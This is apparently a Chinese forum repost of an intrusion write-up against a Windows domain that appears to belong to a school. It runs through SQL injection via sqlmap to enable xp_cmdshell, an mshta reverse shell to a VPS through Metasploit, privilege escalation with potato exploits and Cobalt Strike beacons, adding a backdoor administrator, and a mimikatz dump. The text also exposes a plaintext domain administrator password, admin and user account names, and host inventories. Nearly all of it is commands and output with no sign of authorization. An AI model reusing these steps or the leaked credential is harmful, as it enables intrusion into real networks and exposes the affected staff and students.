|
本帖最后由 Angelica 于 2020-12-16 20:59 编辑
原文链接:https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd
外网打点
sqlmap获取shell权限
Sqlmap --sql-shell
Sqlmap --sql-shell命令,获取一个命令行模式。
xp_cmdshell,先查看是否存在
- sql-shell> select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
- [22:01:36] [INFO] fetching SQL SELECT statement query output: 'select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell''
- [22:01:36] [INFO] resumed: '1'
- select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell': '1'
复制代码
启用xp_cmdshell
- sql-shell> EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
- [09:48:09] [INFO] executing SQL data execution statement: 'EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE'
- EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE: 'NULL'
复制代码
尝试执行命令
- sql-shell> exec master..xp_cmdshell 'whoami'
- [09:48:58] [INFO] executing SQL data execution statement: 'exec master..xp_cmdshell 'whoami''
- exec master..xp_cmdshell 'whoami': 'NULL'
复制代码
命令无回显,应该是服务器被降权。
- sql-shell> select @@servername
- [23:02:04] [INFO] fetching SQL SELECT statement query output: 'select @@servername'
- [23:02:05] [INFO] retrieved: 'NEWDATABASE'
- select @@servername: 'NEWDATABASE'
- sql-shell> select host_name()
- [23:02:19] [INFO] fetching SQL SELECT statement query output: 'select host_name()'
- [23:02:21] [INFO] retrieved: 'MAIL'
- select host_name(): 'MAIL'
- Sqlmap --os-shell
复制代码
开始撸内网
目标系统为:
- web server operating system: Windows 8.1 or 2012 R2
- web application technology: ASP.NET, Microsoft IIS 8.5, ASP
- back-end DBMS: Microsoft SQL Server 2012
复制代码
Mshta 反弹 shell
尝试各种命令但是发现回显太慢,未找到web路径,无法写web马、exe马,这里尝试使用hta文件。
- ➜ ~ sqlmap -r /Users/apple/Desktop/1.txt --os-shell
复制代码
msf启动
- msf6 exploit(windows/misc/hta_server) > run<li> Exploit running as background job 0.</li><li> Exploit completed, but no session was created.
- </li><li> Started reverse TCP handler on 1.1.1.1:4444 </li><li> Using URL: <a href="http://0.0.0.0:8080/8HGLrG47OUEJ.hta" target="_blank">http://0.0.0.0:8080/8HGLrG47OUEJ.hta</a></li><li> Local IP: http://vps:8080/8HGLrG47OUEJ.hta</li><li> Server started.</li>
复制代码
在目标机器执行
- mshta.exe http://vps:8080/8HGLrG47OUEJ.hta
复制代码
maf回显
- <li>ip hta_server - Delivering Payload</li><li> Sending stage (175174 bytes) to ip</li><li> Meterpreter session 1 opened (vps_ip:4444 -> ip:61915) at 2020-12-04 10:01:42 +0800
- msf6 exploit(windows/misc/hta_server) > sessions -l
- Active sessions
- ===============
- Id Name Type Information Connection
- -- ---- ---- ----------- ----------
- 1 meterpreter x86/windows NT Service\MSSQLSERVER @ DATABASE vps_ip:4444 -> ip:61915 (10.10.10.5)
- msf6 exploit(windows/misc/hta_server) > sessions -i 1</li><li> Starting interaction with 1...</li>
复制代码 查看目标系统信息
- meterpreter > sysinfo
- Computer : DATABASE
- OS : Windows 2012 R2 (6.3 Build 9600).
- Architecture : x64
- System Language : zh_TW
- Domain : WEGO
- Logged On Users : 14
- Meterpreter : x86/windows
复制代码
进入shell查看一下具体信息,有乱码设置一下编码
- C:\Windows\system32>chcp 65001
- C:\Windows\system32>ipconfig /all
- ipconfig /all
- Windows IP Configuration
- Host Name . . . . . . . . . . . . : database
- Primary Dns Suffix . . . . . . . : xx.xx.x x.xx
- Node Type . . . . . . . . . . . . : Hybrid
- IP Routing Enabled. . . . . . . . : No
- WINS Proxy Enabled. . . . . . . . : No
- DNS Suffix Search List. . . . . . : xx.xx.x x.xx
- Ethernet adapter NIC2:
- Media State . . . . . . . . . . . : Media disconnected
- Connection-specific DNS Suffix . :
- Description . . . . . . . . . . . : Broadcom NetXtreme Gigabit Ethernet #4
- Physical Address. . . . . . . . . : 10-98-36-B0-ED-AE
- DHCP Enabled. . . . . . . . . . . : No
- Autoconfiguration Enabled . . . . : Yes
- Ethernet adapter NIC1:
- Connection-specific DNS Suffix . :
- Description . . . . . . . . . . . : Broadcom NetXtreme Gigabit Ethernet #3
- Physical Address. . . . . . . . . : 10-98-36-B0-ED-AD
- DHCP Enabled. . . . . . . . . . . : No
- Autoconfiguration Enabled . . . . : Yes
- IPv4 Address. . . . . . . . . . . : 10.10.10.5(Preferred)
- Subnet Mask . . . . . . . . . . . : 255.255.254.0
- Default Gateway . . . . . . . . . : 10.10.10.254
- DNS Servers . . . . . . . . . . . : 10.10.10.3
- 10.10.10.2
- NetBIOS over Tcpip. . . . . . . . : Enabled
复制代码
具有内网环境,DNS服务器可能就是域控。
- DNS Servers . . . . . . . . . . . : 10.10.10.3
- 10.10.10.2
复制代码
提权
利用MSF提权
查看当前用户
- C:\Windows\system32>whoami
- whoami
- nt service\mssqlserver
复制代码
查看系统信息,打得补丁还是比较多的。
也可以使用msf模块搜索可执行的本地提权信息
- <li>msf6 > use post/multi/recon/local_exploit_suggester
- msf6 post(multi/recon/local_exploit_suggester) > run
- </li><li> 10.10.10.5 - Collecting local exploits for x86/windows...</li><li> 10.10.10.5 - 35 exploit checks are being tried...
- [+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
- nil versions are discouraged and will be deprecated in Rubygems 4
- [+] 10.10.10.5 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
- [+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
- [+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
- [+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.</li><li> Post module execution completed</li>
复制代码
ms16_075烂土豆提权,直接使用msf进行提权,提权提崩了。。。,尝试exe提权,发现目录不可写。权限不够。(应该找可写目录的,后来找到一个可写目录。)
- meterpreter > upload /tmp/beacon.exe C:/Windows/Temp
复制代码
利用CS提权
加载插件,插件下载地址:
https://github.com/scanfsec/Aggr ... tato/juicypotato.cn
- <li>beacon> elevate juicypotato http</li><li> Task Beacon to run windows/beacon_http/reverse_http (1.1.1.1:7777) via JuicyPotato (ms16-075)
- [+] host called home, sent: 599618 bytes
- [+] received output:
- .
- [+] received output:
- ..
- [+] received output:
- ..
- [+] received output:
- .
- [+] received output:
- [+] authresult 0</li><li> {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
- [+] CreateProcessWithTokenW OK</li>
复制代码
提权失败,接着使用另一个脚本
https://github.com/DeEpinGh0st/Erebus
成功返回一个shell,system权限。
- <li>Task Beacon to run windows/beacon_http/reverse_http (1.1.1.1:7777) via RottenPotato (ms16-075)</li><li> Tasked beacon to spawn NTLM DCOM->RPC NTLM Reflection (MS16-075)
- [+] host called home, sent: 256865 bytes</li>
复制代码
但是当前用户确实mssql,权限确实system权限,mssql上线需要迁移进程。
- <li>good beacon> shell whoami</li><li> Tasked beacon to run: whoami
- [+] host called home, sent: 37 bytes
- [+] received output:
- nt service\mssqlserver
- beacon> getuid</li><li> Tasked beacon to get userid
- [+] host called home, sent: 8 bytes</li><li> You are NT AUTHORITY\SYSTEM (admin)</li>
复制代码
使用当前beacon,注入一个administrator用户的进程。
成功生成一个beacon。
创建用户
先创建用户并加入管理员组
查看用户组
- <li>beacon> shell net localgroup</li><li> Tasked beacon to run: net localgroup
- [+] host called home, sent: 45 bytes
- [+] received output:
- \\DATABASE 的別名
- -------------------------------------------------------------------------------
- *Access Control Assistance Operators
- *Administrators
- *Backup Operators
- *Certificate Service DCOM Access
- *Cryptographic Operators
- *Distributed COM Users
- *Event Log Readers
- *Guests
- *HelpLibraryUpdaters
- *Hyper-V Administrators
- *IIS_IUSRS
- *Network Configuration Operators
- *Performance Log Users
- *Performance Monitor Users
- *Power Users
- *Print Operators
- *RDS Endpoint Servers
- *RDS Management Servers
- *RDS Remote Access Servers
- *Remote Desktop Users
- *Remote Management Users
- *Replicator
- *SQLServer2005SQLBrowserUser$NEWDATABASE
- *SQLServerMSASUser$NEWDATABASE$MSSQLSERVER
- *Users
- *WinRMRemoteWMIUsers__
- 命令已经成功完成。</li>
复制代码
管理员组添加用户
- <li>beacon> shell net localgroup Administrators good /add</li><li> Tasked beacon to run: net localgroup Administrators good /add
- [+] host called home, sent: 70 bytes
- [+] received output:
- 命令已经成功完成。</li>
复制代码
查看管理员组
- <li>beacon> shell net localgroup Administrators</li><li> Tasked beacon to run: net localgroup Administrators
- [+] host called home, sent: 60 bytes
- [+] received output:
- 別名 Administrators
- 註解 Administrators 可以完全不受限制地存取电脑/网域
- 成員
- -------------------------------------------------------------------------------
- Administrator
- good
- HelpAssistant
- WEGO\Domain Admins
- 命令已经成功完成。</li>
复制代码
端口扫描,尝试连接3389
- <li>beacon> portscan 10.10.10.5 1-1024,3389,5000-6000 arp 1024</li><li> Tasked beacon to scan ports 1-1024,3389,5000-6000 on 10.10.10.5
- [+] host called home, sent: 93245 bytes
- [+] received output:
- (ARP) Target '10.10.10.5' is alive. 10-98-36-B0-ED-AD
- 10.10.10.5:5985
- [+] received output:
- 10.10.10.5:3389
- [+] received output:
- 10.10.10.5:139
- 10.10.10.5:135
- 10.10.10.5:80
- 10.10.10.5:445 (platform: 500 version: 6.3 name: DATABASE domain: WEGO)
- Scanner module is complete</li>
复制代码
抓取密码
运行mimikatz抓密码。
- beacon> logonpasswords
- wdigest :
- * Username : Administrator
- * Domain : WEGO
- * Password : jo6ek6vul3vm,6
复制代码
打域控,挂socker代理(cs的socks4很不好用,后来使用的是frp)。
- beacon> socks 1070
- [+] started SOCKS4a server on: 1070
- [+] host called home, sent: 16 bytes
复制代码
获取域内的基础信息
查询机器属于哪个域- <li>shell net config Workstation
- beacon> shell net config Workstation</li><li> Tasked beacon to run: net config Workstation
- [+] host called home, sent: 53 bytes
- [+] received output:
- 电脑名称 \\DATABASE
- 完整电脑名称 database.xx.xx.x x.xx
- 使用者名称 Administrator
- 工作站启动于
- NetBT_Tcpip_{2B6B95FB-22AC-4BE5-9B0E-6778A02AF68C} (109836B0EDAD)
- 软体版本 Windows Server 2012 R2 Standard
- 工作站网域 WEGO
- 工作站网域 DNS 名称 xx.xx.x x.xx
- 登入网域 WEGO
- COM 启用等候逾时(秒) 0
- COM 传送计数 (位元组) 16
- COM 传送等候逾时(千分之一秒) 250
- 命令已经成功完成。</li>
复制代码
查询当前内网中域数量
查询有几个域, 查询域列表
- <li>beacon> shell net view /domain</li><li> Tasked beacon to run: net view /domain
- [+] host called home, sent: 47 bytes
- [+] received output:
- Domain
- -------------------------------------------------------------------------------
- KG
- WEGO
- WORKGROUP
- 命令已经成功完成。</li>
复制代码
查询域控制器主机名- <li>beacon> shell net group "domain controllers" /domain</li><li> Tasked beacon to run: net group "domain controllers" /domain
- [+] host called home, sent: 69 bytes
- [+] received output:
- 这项要求会在网域 xx.xx.x x.xx 下的网域控制站处理。
- 群组名称 Domain Controllers
- 註解 在网域所有的网域控制站
- 成员
- -------------------------------------------------------------------------------
- AD1[ DISCUZ_CODE_2229 ]nbsp; AD2[ DISCUZ_CODE_2229 ]nbsp; AD3[ DISCUZ_CODE_2229 ]nbsp;
- 命令已经成功完成</li>
复制代码
查询域控制器- <li>beacon> shell net group "domain controllers" /domain</li><li> Tasked beacon to run: net group "domain controllers" /domain
- [+] host called home, sent: 69 bytes
- [+] received output:
- 这项要求会在网域 xx.xx.x x.xx 下的网域控制站处理。
- 群组名称 Domain Controllers
- 註解 在网域所有的网域控制站
- 成员
- -------------------------------------------------------------------------------
- AD1[ DISCUZ_CODE_2230 ]nbsp; AD2[ DISCUZ_CODE_2230 ]nbsp; AD3[ DISCUZ_CODE_2230 ]nbsp;
- 命令已经成功完成</li>
复制代码
查看一下域控制器的IP- <li>beacon> shell ping AD1.xx.xx.x x.xx</li><li> Tasked beacon to run: ping AD1.xx.xx.x x.xx
- [+] host called home, sent: 54 bytes
- [+] received output:
- Ping AD1.xx.xx.x x.xx [10.10.10.2] (使用 32 位元组的资料):
- 回覆自 10.10.10.2: 位元组=32 时间<1ms TTL=128
- 回覆自 10.10.10.2: 位元组=32 时间<1ms TTL=128
- 回覆自 10.10.10.2: 位元组=32 时间<1ms TTL=128
- 回覆自 10.10.10.2: 位元组=32 时间<1ms TTL=128
- 10.10.10.2 的 Ping 统计资料:
- 封包: 已传送 = 4,已收到 = 4, 已遗失 = 0 (0% 遗失),
- 大约的来回时间 (毫秒):
- 最小值 = 0ms,最大值 = 0ms,平均 = 0ms
- beacon> shell ping AD2.xx.xx.x x.xx</li><li> Tasked beacon to run: ping AD2.xx.xx.x x.xx
- [+] host called home, sent: 54 bytes
- [+] received output:
- Ping AD2.xx.xx.x x.xx [10.10.10.3] (使用 32 位元组的资料):
- 回覆自 10.10.10.3: 位元组=32 时间<1ms TTL=128
- 回覆自 10.10.10.3: 位元组=32 时间<1ms TTL=128
- 回覆自 10.10.10.3: 位元组=32 时间<1ms TTL=128
- 回覆自 10.10.10.3: 位元组=32 时间<1ms TTL=128
- 10.10.10.3 的 Ping 统计资料:
- 封包: 已传送 = 4,已收到 = 4, 已遗失 = 0 (0% 遗失),
- 大约的来回时间 (毫秒):
- 最小值 = 0ms,最大值 = 0ms,平均 = 0ms
- beacon> shell ping AD3.xx.xx.x x.xx</li><li> Tasked beacon to run: ping AD3.xx.xx.x x.xx
- [+] host called home, sent: 54 bytes
- [+] received output:
- Ping AD3.xx.xx.x x.xx [10.10.10.4] (使用 32 位元组的资料):
- 回覆自 10.10.10.4: 位元组=32 时间<1ms TTL=128
- 回覆自 10.10.10.4: 位元组=32 时间<1ms TTL=128
- 回覆自 10.10.10.4: 位元组=32 时间<1ms TTL=128
- 回覆自 10.10.10.4: 位元组=32 时间<1ms TTL=128
- 10.10.10.4 的 Ping 统计资料:
- 封包: 已传送 = 4,已收到 = 4, 已遗失 = 0 (0% 遗失),
- 大约的来回时间 (毫秒):
- 最小值 = 0ms,最大值 = 0ms,平均 = 0ms</li>
复制代码
查询域管理用户- <li>beacon> shell net group "domain admins" /domain</li><li> Tasked beacon to run: net group "domain admins" /domain
- [+] host called home, sent: 64 bytes
- [+] received output:
- 这项要求会在网域 xx.xx.x x.xx 下的网域控制站处理。
- 群组名称 Domain Admins
- 註解 指定的网域系统管理员
- 成员
- -------------------------------------------------------------------------------
- Administrator albert_huang chuck_ho
- jerrytsao juinyih se
- srj wegovpn2020
- 命令已经成功完成</li>
复制代码
查询域用户列表- <li>beacon> shell net user /domain</li><li> Tasked beacon to run: net user /domain
- [+] host called home, sent: 47 bytes
- [+] received output:
- 这项要求会在网域 xx.xx.x x.xx 下的网域控制站处理。
- \\AD2.xx.xx.x x.xx 的使用者帐户
- -------------------------------------------------------------------------------
- 098 201sandy 203savanah
- 204hanna 205vanessa 213amy
- 2305 3557 526alice
- account Administrator affair
- albert_huang alice31707 alison
- amy amyjccd andrewmunro
- anita anne ap7653
- argreschler ashinlover ashleychen
- beauc berrywu bkmanager
- brandonolen busm caca
- camy4648 carolina caroline
- cashier charlie chellie72
- cherry2011 cheryllin chi
- chi0707 CHIAEN christina
- christinelee chuanmien chuck_ho
- chunying cindykyang cleeve
- collinsko0109 cyajen0717 Dale
- dfl001 dianahou director
- dola dperabo eileen5717
- epayding esansan eslteacher
- eusebia evanceho faithtien
- fatfat1188 fayina flowerrr
- guccichia Guest gvholley
- haiyou ikuchen indigododos
- iriscai IUSER_WEGONET IUSER_WGPS
- IUSR_MAIL ivyc ivyhou
- IWAM_MAIL j5218 Jacobson8959
- jennifer jennifer_liang jerrytsao
- jessicama711 jgtoma jih455</li>
复制代码
查看当前域内机器主机名- <li>beacon> shell net view</li><li> Tasked beacon to run: net view
- [+] host called home, sent: 39 bytes
- [+] received output:
- 伺服器名称 说明
- -------------------------------------------------------------------------------
- \\3060-1E
- \\3060-2E
- \\3060-2F
- \\3060-4B
- \\3060-5C
- \\3060-5D
- \\ACADEMIC
- \\ACCOUNT-3070
- \\ACCOUNT3050 会计组长
- \\AD1
- \\AD2
- \\AD3
- \\AFFAIRS-3060
- \\ASUS-500G4-PC
- \\CARD100 卡钟主机
- \\CDTOWER17
- \\DATABASE
- \\DELL7020B-36
- \\DFL-3340-67
- \\DFL-FILES2017
- \\FILES
- \\FILES2
- \\LIB-3020-83
- \\LIB-7020-82
- \\MAIL
- \\MEDIA-DOME
- \\PCSCRIBE-7
- \\PCTEACHER-100
- \\PERSONNEL-3060
- \\STPC-01
- \\STPC-02
- \\STPC-03
- \\STPC-04
- \\STPC-05
- \\STPC-06
- \\STPC-07
- \\STPC-08
- \\STPC-09
- \\STPC-10
- \\STPC-11
- \\STPC-12
- \\STPC-13
- \\STPC-14
- \\STPC-15
- \\STPC-16
- \\STPC-17
- \\STPC-18
- \\STPC-19
- \\STPC-20
- \\STPC-21
- \\STPC-22
- \\STPC-23
- \\STPC-24
- \\STPC-25
- \\STPC-26
- \\STPC-27
- \\STPC-28
- \\STPC-29
- \\STPC-30
- \\STPC-31
- \\STPC-32
- \\STPC-33
- \\STPC-34
- \\STPC-35
- \\STPC-36
- \\STPC-37
- \\STPC-39
- \\STPC-40
- \\STPC-41
- \\STPC-42
- \\STPC-47
- \\STUFILES
- \\WIN101C
- \\WIN106D
- \\WIN10MUSIC56</li>
复制代码
查看某个域中的所有计算机主机名
查询域内所有计算机主机名- <li>beacon> shell net group "domain computers" /domain</li><li> Tasked beacon to run: net group "domain computers" /domain
- [+] host called home, sent: 67 bytes
- [+] received output:
- 这项要求会在网域 xx.xx.x x.xx 下的网域控制站处理。
- 群组名称 Domain Computers
- 註解 所有已加入网域的工作站及伺服器
- 成员</li>
复制代码- <li>-------------------------------------------------------------------------------
- 1A86TV[ DISCUZ_CODE_2237 ]nbsp; 2003R2-32BITS[ DISCUZ_CODE_2237 ]nbsp; 2003SERVER[ DISCUZ_CODE_2237 ]nbsp;
- 3060-1E[ DISCUZ_CODE_2237 ]nbsp; 3060-1F[ DISCUZ_CODE_2237 ]nbsp; 3060-2A[ DISCUZ_CODE_2237 ]nbsp;
- 3060-2B[ DISCUZ_CODE_2237 ]nbsp; 3060-2C[ DISCUZ_CODE_2237 ]nbsp; 3060-2D[ DISCUZ_CODE_2237 ]nbsp;
- 3060-2E[ DISCUZ_CODE_2237 ]nbsp; 3060-2F[ DISCUZ_CODE_2237 ]nbsp; 3060-4A[ DISCUZ_CODE_2237 ]nbsp;
- 3060-4B[ DISCUZ_CODE_2237 ]nbsp; 3060-4C[ DISCUZ_CODE_2237 ]nbsp; 3060-4D[ DISCUZ_CODE_2237 ]nbsp;
- 3060-5A[ DISCUZ_CODE_2237 ]nbsp; 3060-5B[ DISCUZ_CODE_2237 ]nbsp; 3060-5C[ DISCUZ_CODE_2237 ]nbsp;
- 3060-5D[ DISCUZ_CODE_2237 ]nbsp; 3060-6E[ DISCUZ_CODE_2237 ]nbsp; 3060-6F[ DISCUZ_CODE_2237 ]nbsp;
- 3060CALLIGRAPHY[ DISCUZ_CODE_2237 ]nbsp; 4730WORK[ DISCUZ_CODE_2237 ]nbsp; ACADEMIC[ DISCUZ_CODE_2237 ]nbsp;
- ACCOUNT3050[ DISCUZ_CODE_2237 ]nbsp; ACCOUNT-3070[ DISCUZ_CODE_2237 ]nbsp; ACCOUNT-7[ DISCUZ_CODE_2237 ]nbsp;
- ACTIVITES-3020A[ DISCUZ_CODE_2237 ]nbsp; ACTIVITES-3020B[ DISCUZ_CODE_2237 ]nbsp; ACTIVITIES3020C[ DISCUZ_CODE_2237 ]nbsp;
- ACTIVITY-181[ DISCUZ_CODE_2237 ]nbsp; AD2-NEW[ DISCUZ_CODE_2237 ]nbsp; AD3-OLD[ DISCUZ_CODE_2237 ]nbsp;
- ADMINISTRATOR[ DISCUZ_CODE_2237 ]nbsp; AFFAIRS-3060[ DISCUZ_CODE_2237 ]nbsp; ALBERT_HUANG[ DISCUZ_CODE_2237 ]nbsp;
- ANNALIU[ DISCUZ_CODE_2237 ]nbsp; ANNALIU-XP-VM[ DISCUZ_CODE_2237 ]nbsp; ASUS-500G4-PC[ DISCUZ_CODE_2237 ]nbsp;
- B8AC6F362198[ DISCUZ_CODE_2237 ]nbsp; B8AC6F3C1711[ DISCUZ_CODE_2237 ]nbsp; B8AC6F3C727F[ DISCUZ_CODE_2237 ]nbsp;
- CALLIGRAPHY3060[ DISCUZ_CODE_2237 ]nbsp; CARD100[ DISCUZ_CODE_2237 ]nbsp; CASHIER-3070[ DISCUZ_CODE_2237 ]nbsp;
- CASHIER7[ DISCUZ_CODE_2237 ]nbsp; CDTOWER17[ DISCUZ_CODE_2237 ]nbsp; CG-86TV[ DISCUZ_CODE_2237 ]nbsp;
- CHIEF-PE[ DISCUZ_CODE_2237 ]nbsp; CURRICULUM-2019[ DISCUZ_CODE_2237 ]nbsp; CURRICULUM-3060[ DISCUZ_CODE_2237 ]nbsp;
- DATABASE[ DISCUZ_CODE_2237 ]nbsp; DB2019[ DISCUZ_CODE_2237 ]nbsp; DELL-2420-3[ DISCUZ_CODE_2237 ]nbsp;
- DELL7020B-36[ DISCUZ_CODE_2237 ]nbsp; DELL7020B-PC[ DISCUZ_CODE_2237 ]nbsp; DELL9020-PC[ DISCUZ_CODE_2237 ]nbsp;
- DELLPC[ DISCUZ_CODE_2237 ]nbsp; DFL-3340-65[ DISCUZ_CODE_2237 ]nbsp; DFL-3340-66[ DISCUZ_CODE_2237 ]nbsp;
- DFL-3340-67[ DISCUZ_CODE_2237 ]nbsp; DFL-3340-70[ DISCUZ_CODE_2237 ]nbsp; DFL-3340ENG-68[ DISCUZ_CODE_2237 ]nbsp;
- DFL-3340ENG-69[ DISCUZ_CODE_2237 ]nbsp; DFL-3380-81[ DISCUZ_CODE_2237 ]nbsp; DFL-3380-82[ DISCUZ_CODE_2237 ]nbsp;
- DFL-3400-85[ DISCUZ_CODE_2237 ]nbsp; DFL-3400-86[ DISCUZ_CODE_2237 ]nbsp; DFL-4730-80[ DISCUZ_CODE_2237 ]nbsp;
- DFL-ACER-82[ DISCUZ_CODE_2237 ]nbsp; DFL-ACER-84[ DISCUZ_CODE_2237 ]nbsp; DFL-ACTIVITIES[ DISCUZ_CODE_2237 ]nbsp;
- DFL-CURRICULUM[ DISCUZ_CODE_2237 ]nbsp; DFL-FILES2017[ DISCUZ_CODE_2237 ]nbsp; DFL-NB1[ DISCUZ_CODE_2237 ]nbsp;
- DFL-NB10[ DISCUZ_CODE_2237 ]nbsp; DFL-NB11[ DISCUZ_CODE_2237 ]nbsp; DFL-NB3[ DISCUZ_CODE_2237 ]nbsp;
- DFL-NB4[ DISCUZ_CODE_2237 ]nbsp; DFL-NB5[ DISCUZ_CODE_2237 ]nbsp; DFL-NB6[ DISCUZ_CODE_2237 ]nbsp;
- DFL-NB7[ DISCUZ_CODE_2237 ]nbsp; DFL-NB9[ DISCUZ_CODE_2237 ]nbsp; DFL-SUPERVISOR2[ DISCUZ_CODE_2237 ]nbsp;
- DIR-AFFAIRS[ DISCUZ_CODE_2237 ]nbsp; DIR-DFL[ DISCUZ_CODE_2237 ]nbsp; DIR-JAPAN[ DISCUZ_CODE_2237 ]nbsp;
- DIR-STUDENT[ DISCUZ_CODE_2237 ]nbsp; DISCIPLINE-3060[ DISCUZ_CODE_2237 ]nbsp; ESL-603[ DISCUZ_CODE_2237 ]nbsp;
- ESLNB-2420-C[ DISCUZ_CODE_2237 ]nbsp; ESLNB-2420-R[ DISCUZ_CODE_2237 ]nbsp; ESL-P243-1[ DISCUZ_CODE_2237 ]nbsp;
- ESL-P243-2[ DISCUZ_CODE_2237 ]nbsp; ESL-P243-3[ DISCUZ_CODE_2237 ]nbsp; ESL-P243-4[ DISCUZ_CODE_2237 ]nbsp;
- FILES[ DISCUZ_CODE_2237 ]nbsp; FILES2[ DISCUZ_CODE_2237 ]nbsp; FITNESSCENTER[ DISCUZ_CODE_2237 ]nbsp;
- HAPPY-HOUSE[ DISCUZ_CODE_2237 ]nbsp; HEALTH-3060[ DISCUZ_CODE_2237 ]nbsp; HEALTH7[ DISCUZ_CODE_2237 ]nbsp;
- HEALTH-SERVICE[ DISCUZ_CODE_2237 ]nbsp; HYGIENE-3070[ DISCUZ_CODE_2237 ]nbsp; HYPERV2008R2[ DISCUZ_CODE_2237 ]nbsp;
- JAPAN77-TEACHER[ DISCUZ_CODE_2237 ]nbsp; KITCHEN3020[ DISCUZ_CODE_2237 ]nbsp; KITCHEN-7-60[ DISCUZ_CODE_2237 ]nbsp;
- LIB-3020-83[ DISCUZ_CODE_2237 ]nbsp; LIB-3020-84[ DISCUZ_CODE_2237 ]nbsp; LIB-3020-85[ DISCUZ_CODE_2237 ]nbsp;
- LIB-3020-86[ DISCUZ_CODE_2237 ]nbsp; LIB-3020-87[ DISCUZ_CODE_2237 ]nbsp; LIB3060TEACHER[ DISCUZ_CODE_2237 ]nbsp;
- LIB-3060TEACHER[ DISCUZ_CODE_2237 ]nbsp; LIB-7020-82[ DISCUZ_CODE_2237 ]nbsp; LIB-TEACHER[ DISCUZ_CODE_2237 ]nbsp;
- MAIL[ DISCUZ_CODE_2237 ]nbsp; MAIL2[ DISCUZ_CODE_2237 ]nbsp; MEDIA-DOME[ DISCUZ_CODE_2237 ]nbsp;
- ML20936[ DISCUZ_CODE_2237 ]nbsp; ML20936-PC[ DISCUZ_CODE_2237 ]nbsp; nas8be8d1[ DISCUZ_CODE_2237 ]nbsp;
- nasbfa3ee[ DISCUZ_CODE_2237 ]nbsp; NEW_NB01[ DISCUZ_CODE_2237 ]nbsp; NEW-WIN[ DISCUZ_CODE_2237 ]nbsp;
- NWIN7-0[ DISCUZ_CODE_2237 ]nbsp; NWIN7-1[ DISCUZ_CODE_2237 ]nbsp; NWIN7-2[ DISCUZ_CODE_2237 ]nbsp;
- NWIN7-3[ DISCUZ_CODE_2237 ]nbsp; NWIN7-4[ DISCUZ_CODE_2237 ]nbsp; OLD-DATA814[ DISCUZ_CODE_2237 ]nbsp;
- OLDDATABASE[ DISCUZ_CODE_2237 ]nbsp; PCSCRIBE-7[ DISCUZ_CODE_2237 ]nbsp; PCTEACHER-100[ DISCUZ_CODE_2237 ]nbsp;
- PE-3060[ DISCUZ_CODE_2237 ]nbsp; PERSONNEL-3060[ DISCUZ_CODE_2237 ]nbsp; PRINCIPAL[ DISCUZ_CODE_2237 ]nbsp;
- PRINCIPAL-21[ DISCUZ_CODE_2237 ]nbsp; PROGRAMER[ DISCUZ_CODE_2237 ]nbsp; REGISTRAR-3070[ DISCUZ_CODE_2237 ]nbsp;
- SCHOOL2003[ DISCUZ_CODE_2237 ]nbsp; SCHOOL-3070[ DISCUZ_CODE_2237 ]nbsp; SCHOOL-PC-01[ DISCUZ_CODE_2237 ]nbsp;
- SCHOOL-PC-02[ DISCUZ_CODE_2237 ]nbsp; SCHOOL-SYS[ DISCUZ_CODE_2237 ]nbsp; SCHOOLWU-PC[ DISCUZ_CODE_2237 ]nbsp;
- SE[ DISCUZ_CODE_2237 ]nbsp; SE7[ DISCUZ_CODE_2237 ]nbsp; SE-PC[ DISCUZ_CODE_2237 ]nbsp;
- SE-XP[ DISCUZ_CODE_2237 ]nbsp; ST-00[ DISCUZ_CODE_2237 ]nbsp; ST000[ DISCUZ_CODE_2237 ]nbsp;
- ST-000[ DISCUZ_CODE_2237 ]nbsp; ST50[ DISCUZ_CODE_2237 ]nbsp; ST50PC[ DISCUZ_CODE_2237 ]nbsp;
- STPC-01[ DISCUZ_CODE_2237 ]nbsp; STPC-02[ DISCUZ_CODE_2237 ]nbsp; STPC-03[ DISCUZ_CODE_2237 ]nbsp;
- STPC-04[ DISCUZ_CODE_2237 ]nbsp; STPC-05[ DISCUZ_CODE_2237 ]nbsp; STPC-06[ DISCUZ_CODE_2237 ]nbsp;
- STPC-07[ DISCUZ_CODE_2237 ]nbsp; STPC-08[ DISCUZ_CODE_2237 ]nbsp; STPC-09[ DISCUZ_CODE_2237 ]nbsp;
- STPC-10[ DISCUZ_CODE_2237 ]nbsp; STPC-11[ DISCUZ_CODE_2237 ]nbsp; STPC-12[ DISCUZ_CODE_2237 ]nbsp;
- STPC-13[ DISCUZ_CODE_2237 ]nbsp; STPC-14[ DISCUZ_CODE_2237 ]nbsp; STPC-15[ DISCUZ_CODE_2237 ]nbsp;
- STPC-16[ DISCUZ_CODE_2237 ]nbsp; STPC-17[ DISCUZ_CODE_2237 ]nbsp; STPC-18[ DISCUZ_CODE_2237 ]nbsp;
- STPC-19[ DISCUZ_CODE_2237 ]nbsp; STPC-20[ DISCUZ_CODE_2237 ]nbsp; STPC-21[ DISCUZ_CODE_2237 ]nbsp;
- STPC-22[ DISCUZ_CODE_2237 ]nbsp; STPC-23[ DISCUZ_CODE_2237 ]nbsp; STPC-24[ DISCUZ_CODE_2237 ]nbsp;
- STPC-25[ DISCUZ_CODE_2237 ]nbsp; STPC-26[ DISCUZ_CODE_2237 ]nbsp; STPC-27[ DISCUZ_CODE_2237 ]nbsp;
- STPC-28[ DISCUZ_CODE_2237 ]nbsp; STPC-29[ DISCUZ_CODE_2237 ]nbsp; STPC-30[ DISCUZ_CODE_2237 ]nbsp;
- STPC-31[ DISCUZ_CODE_2237 ]nbsp; STPC-32[ DISCUZ_CODE_2237 ]nbsp; STPC-33[ DISCUZ_CODE_2237 ]nbsp;
